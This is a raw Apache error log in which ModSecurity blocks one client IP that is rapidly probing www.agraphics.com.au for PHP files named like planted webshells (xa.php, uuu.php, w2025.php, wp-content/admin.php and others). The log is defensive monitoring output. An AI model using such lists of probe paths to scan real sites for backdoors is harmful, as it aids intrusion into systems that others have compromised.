[Sat Apr 11 21:40:49.021949 2026] [:error] [pid 42220:tid 42264] [client 20.215.64.75:11034] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "adpPYUz5c3Cs6a8B5QuD1QAAAM0"]
[Sat Apr 11 21:40:49.526922 2026] [:error] [pid 42313:tid 42332] [client 20.215.64.75:11205] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/xa.php"] [unique_id "adpPYV2P8TxdbaN018IvUAAAABA"]
[Sat Apr 11 21:40:50.030806 2026] [:error] [pid 42220:tid 42258] [client 20.215.64.75:11177] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "adpPYkz5c3Cs6a8B5QuD1wAAAMc"]
[Sat Apr 11 21:40:50.536418 2026] [:error] [pid 42313:tid 42333] [client 20.215.64.75:11178] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "adpPYl2P8TxdbaN018IvUgAAABE"]
[Sat Apr 11 21:40:51.040994 2026] [:error] [pid 42313:tid 42334] [client 20.215.64.75:11204] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "adpPY12P8TxdbaN018IvVgAAABI"]
[Sat Apr 11 21:40:51.547682 2026] [:error] [pid 42220:tid 42272] [client 20.215.64.75:11176] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/admin.php"] [unique_id "adpPY0z5c3Cs6a8B5QuD2wAAANU"]
[Sat Apr 11 21:40:52.051610 2026] [:error] [pid 42313:tid 42318] [client 20.215.64.75:11228] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inege.php"] [unique_id "adpPZF2P8TxdbaN018IvWQAAAAI"]
[Sat Apr 11 21:40:52.557300 2026] [:error] [pid 42313:tid 42339] [client 20.215.64.75:11047] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inege.php"] [unique_id "adpPZF2P8TxdbaN018IvWwAAABc"]
[Sat Apr 11 21:40:53.063904 2026] [:error] [pid 42219:tid 42239] [client 20.215.64.75:11082] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inege.php"] [unique_id "adpPZQ-4IkVbTQx_J-2BUAAAAJA"]
[Sat Apr 11 21:40:53.568865 2026] [:error] [pid 42313:tid 42338] [client 20.215.64.75:11080] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/inege.php"] [unique_id "adpPZV2P8TxdbaN018IvXQAAABY"]
[Sat Apr 11 21:40:54.073295 2026] [:error] [pid 42313:tid 42322] [client 20.215.64.75:11184] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "adpPZl2P8TxdbaN018IvYwAAAAY"]
[Sat Apr 11 21:40:54.577251 2026] [:error] [pid 42221:tid 42294] [client 20.215.64.75:10955] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "adpPZk2gt0pb_0-cc6mG5wAAAFA"]
[Sat Apr 11 21:40:55.081000 2026] [:error] [pid 42219:tid 42229] [client 20.215.64.75:11077] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "adpPZw-4IkVbTQx_J-2BUgAAAIY"]
[Sat Apr 11 21:40:55.585519 2026] [:error] [pid 42221:tid 42281] [client 20.215.64.75:11008] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fe5.php"] [unique_id "adpPZ02gt0pb_0-cc6mG6AAAAEM"]
[Sat Apr 11 21:40:56.090685 2026] [:error] [pid 42313:tid 42316] [client 20.215.64.75:11044] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "adpPaF2P8TxdbaN018IvaAAAAAA"]
[Sat Apr 11 21:40:56.596071 2026] [:error] [pid 42220:tid 42263] [client 20.215.64.75:11112] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "adpPaEz5c3Cs6a8B5QuD4AAAAMw"]
[Sat Apr 11 21:40:57.104656 2026] [:error] [pid 42313:tid 42336] [client 20.215.64.75:11210] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "adpPaV2P8TxdbaN018IvagAAABQ"]
[Sat Apr 11 21:40:57.609406 2026] [:error] [pid 42220:tid 42273] [client 20.215.64.75:11106] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/uuu.php"] [unique_id "adpPaUz5c3Cs6a8B5QuD4QAAANY"]
[Sat Apr 11 21:40:58.113312 2026] [:error] [pid 42221:tid 42284] [client 20.215.64.75:11087] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sf.php"] [unique_id "adpPak2gt0pb_0-cc6mG7AAAAEY"]
[Sat Apr 11 21:40:58.617473 2026] [:error] [pid 42219:tid 42243] [client 20.215.64.75:10945] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sf.php"] [unique_id "adpPag-4IkVbTQx_J-2BUwAAAJQ"]
[Sat Apr 11 21:40:59.124281 2026] [:error] [pid 42219:tid 42242] [client 20.215.64.75:11013] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sf.php"] [unique_id "adpPaw-4IkVbTQx_J-2BVAAAAJM"]
[Sat Apr 11 21:40:59.629141 2026] [:error] [pid 42219:tid 42234] [client 20.215.64.75:11124] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sf.php"] [unique_id "adpPaw-4IkVbTQx_J-2BVgAAAIs"]
[Sat Apr 11 21:41:00.134004 2026] [:error] [pid 42219:tid 42247] [client 20.215.64.75:11092] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no1.php"] [unique_id "adpPbA-4IkVbTQx_J-2BWAAAAJg"]
[Sat Apr 11 21:41:00.638769 2026] [:error] [pid 42221:tid 42302] [client 20.215.64.75:11057] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no1.php"] [unique_id "adpPbE2gt0pb_0-cc6mG8QAAAFg"]
[Sat Apr 11 21:41:01.143965 2026] [:error] [pid 42219:tid 42233] [client 20.215.64.75:11111] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no1.php"] [unique_id "adpPbQ-4IkVbTQx_J-2BWwAAAIo"]
[Sat Apr 11 21:41:01.648598 2026] [:error] [pid 42313:tid 42337] [client 20.215.64.75:11163] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/no1.php"] [unique_id "adpPbV2P8TxdbaN018IvcAAAABU"]
[Sat Apr 11 21:41:02.155507 2026] [:error] [pid 42219:tid 42232] [client 20.215.64.75:11093] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w2025.php"] [unique_id "adpPbg-4IkVbTQx_J-2BXAAAAIk"]
[Sat Apr 11 21:41:02.663068 2026] [:error] [pid 42221:tid 42296] [client 20.215.64.75:11099] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w2025.php"] [unique_id "adpPbk2gt0pb_0-cc6mG9wAAAFI"]
[Sat Apr 11 21:41:03.169952 2026] [:error] [pid 42313:tid 42329] [client 20.215.64.75:11091] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w2025.php"] [unique_id "adpPb12P8TxdbaN018IvdAAAAA0"]
[Sat Apr 11 21:41:03.679130 2026] [:error] [pid 42313:tid 42316] [client 20.215.64.75:11252] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/w2025.php"] [unique_id "adpPb12P8TxdbaN018IvdwAAAAA"]
[Sat Apr 11 21:41:04.182834 2026] [:error] [pid 42221:tid 42300] [client 20.215.64.75:11103] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fvvff.php"] [unique_id "adpPcE2gt0pb_0-cc6mG-QAAAFY"]
[Sat Apr 11 21:41:04.686949 2026] [:error] [pid 42313:tid 42330] [client 20.215.64.75:11042] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fvvff.php"] [unique_id "adpPcF2P8TxdbaN018IveQAAAA4"]
[Sat Apr 11 21:41:05.193654 2026] [:error] [pid 42313:tid 42320] [client 20.215.64.75:11140] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fvvff.php"] [unique_id "adpPcV2P8TxdbaN018IvfQAAAAQ"]
[Sat Apr 11 21:41:05.699715 2026] [:error] [pid 42313:tid 42328] [client 20.215.64.75:11171] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/fvvff.php"] [unique_id "adpPcV2P8TxdbaN018IvgAAAAAw"]
[Sat Apr 11 21:41:06.205743 2026] [:error] [pid 42220:tid 42252] [client 20.215.64.75:11104] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a2.php"] [unique_id "adpPckz5c3Cs6a8B5QuD6QAAAME"]
[Sat Apr 11 21:41:06.711335 2026] [:error] [pid 42313:tid 42339] [client 20.215.64.75:11079] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a2.php"] [unique_id "adpPcl2P8TxdbaN018IvhAAAABc"]
[Sat Apr 11 21:41:07.216468 2026] [:error] [pid 42220:tid 42271] [client 20.215.64.75:11037] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a2.php"] [unique_id "adpPc0z5c3Cs6a8B5QuD7AAAANQ"]
[Sat Apr 11 21:41:07.723091 2026] [:error] [pid 42220:tid 42256] [client 20.215.64.75:11100] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a2.php"] [unique_id "adpPc0z5c3Cs6a8B5QuD7QAAAMU"]
[Sat Apr 11 21:41:08.285175 2026] [:error] [pid 42220:tid 42269] [client 20.215.64.75:11088] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "adpPdEz5c3Cs6a8B5QuD8AAAANI"]
[Sat Apr 11 21:41:08.826087 2026] [:error] [pid 42219:tid 42236] [client 20.215.64.75:11102] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "adpPdA-4IkVbTQx_J-2BZQAAAI0"]
[Sat Apr 11 21:41:09.360915 2026] [:error] [pid 42313:tid 42323] [client 20.215.64.75:11010] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "adpPdV2P8TxdbaN018IviQAAAAc"]
[Sat Apr 11 21:41:09.880741 2026] [:error] [pid 42221:tid 42280] [client 20.215.64.75:11025] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/edit.php"] [unique_id "adpPdU2gt0pb_0-cc6mG-wAAAEI"]
[Sat Apr 11 21:41:10.394840 2026] [:error] [pid 42313:tid 42316] [client 20.215.64.75:11115] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "adpPdl2P8TxdbaN018IvjwAAAAA"]
[Sat Apr 11 21:41:10.899719 2026] [:error] [pid 42313:tid 42337] [client 20.215.64.75:11166] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "adpPdl2P8TxdbaN018IvkgAAABU"]
[Sat Apr 11 21:41:11.404556 2026] [:error] [pid 42313:tid 42320] [client 20.215.64.75:11167] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "adpPd12P8TxdbaN018IvlgAAAAQ"]
[Sat Apr 11 21:41:11.909843 2026] [:error] [pid 42313:tid 42318] [client 20.215.64.75:10975] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ioxi-o.php"] [unique_id "adpPd12P8TxdbaN018IvmQAAAAI"]
[Sat Apr 11 21:41:12.414872 2026] [:error] [pid 42313:tid 42337] [client 20.215.64.75:11019] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adpPeF2P8TxdbaN018IvmwAAABU"]
[Sat Apr 11 21:41:12.948033 2026] [:error] [pid 42221:tid 42299] [client 20.215.64.75:10944] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adpPeE2gt0pb_0-cc6mG_gAAAFU"]
[Sat Apr 11 21:41:13.454274 2026] [:error] [pid 42221:tid 42297] [client 20.215.64.75:11121] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adpPeU2gt0pb_0-cc6mG_wAAAFM"]
[Sat Apr 11 21:41:13.966834 2026] [:error] [pid 42221:tid 42296] [client 20.215.64.75:11109] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "adpPeU2gt0pb_0-cc6mHAgAAAFI"]
[Sat Apr 11 21:41:14.476423 2026] [:error] [pid 42219:tid 42233] [client 20.215.64.75:11132] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "adpPeg-4IkVbTQx_J-2BZwAAAIo"]
[Sat Apr 11 21:41:14.981059 2026] [:error] [pid 42221:tid 42288] [client 20.215.64.75:11058] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "adpPek2gt0pb_0-cc6mHDQAAAEo"]
[Sat Apr 11 21:41:15.487933 2026] [:error] [pid 42221:tid 42296] [client 20.215.64.75:11179] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "adpPe02gt0pb_0-cc6mHEAAAAFI"]
[Sat Apr 11 21:41:15.993648 2026] [:error] [pid 42221:tid 42279] [client 20.215.64.75:11240] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/66.php"] [unique_id "adpPe02gt0pb_0-cc6mHEwAAAEE"]
[Sat Apr 11 21:41:16.498752 2026] [:error] [pid 42220:tid 42255] [client 20.215.64.75:11130] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "adpPfEz5c3Cs6a8B5QuD-QAAAMQ"]
[Sat Apr 11 21:41:17.003198 2026] [:error] [pid 42221:tid 42286] [client 20.215.64.75:11089] [client 20.215.64.75] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a5.php"] [unique_id "adpPfU2gt0pb_0-cc6mHFgAAAEg"]
